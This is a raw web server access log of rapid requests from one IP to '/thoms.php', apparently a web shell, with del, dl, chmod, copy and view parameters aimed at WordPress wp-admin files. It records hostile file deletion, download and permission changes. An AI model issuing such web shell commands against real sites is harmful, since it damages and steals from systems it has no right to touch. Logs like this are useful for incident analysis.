45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /bestzyx.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /bestzyx.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:20 -0400] "GET /thoms.php?dl=ms-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:21 -0400] "GET /bestzyx.com.tw/wp-admin/options-media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:21 -0400] "GET /thoms.php?del=media.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28774 "http://163.245.207.76:443/thoms.php?del=media.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 200 17279 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:21 -0400] "GET /thoms.php?del=post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:21 -0400] "GET /thoms.php?chmod=customize.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 200 12027 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:21 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 200 12677 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 200 12107 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fadmin-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?dl=post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 200 13083 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /bestzyx.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?chmod=ms-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fthemes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fthemes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?dl=site-health-info.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fasync-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fasync-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /bestzyx.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 200 13917 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupdate-core.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupdate-core.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?chmod=user-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:22 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?chmod=network&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=network&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /bestzyx.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink-add.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink-add.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /bestzyx.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupgrade.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupgrade.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /bestzyx.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/bestzyx.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?chmod=maint&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=maint&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 200 12027 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-users.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-users.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?dl=options-media.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fabout.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fabout.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?del=themes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=themes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:23 -0400] "GET /thoms.php?del=ms-options.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 200 14222 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?chmod=theme-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?del=user-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?del=async-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?del=freedoms.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28774 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?del=moderation.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?chmod=ms-themes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-reading.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-reading.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?chmod=term.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fwidgets.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fwidgets.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fuser-new.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fuser-new.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /bestzyx.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:24 -0400] "GET /thoms.php?chmod=install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 200 15383 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?chmod=user-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?chmod=contribute.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?chmod=upgrade.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 200 15324 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?del=media-upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 200 15009 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /bestzyx.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /bestzyx.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?dl=users.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28774 "http://163.245.207.76:443/thoms.php?dl=users.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Finstall-helper.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Finstall-helper.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?del=edit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:25 -0400] "GET /thoms.php?dl=network.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28779 "http://163.245.207.76:443/thoms.php?dl=network.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 200 19041 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?del=plugin-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?chmod=comment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 200 13341 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?del=credits.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=credits.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /bestzyx.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:26 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcustom-header.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcustom-header.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
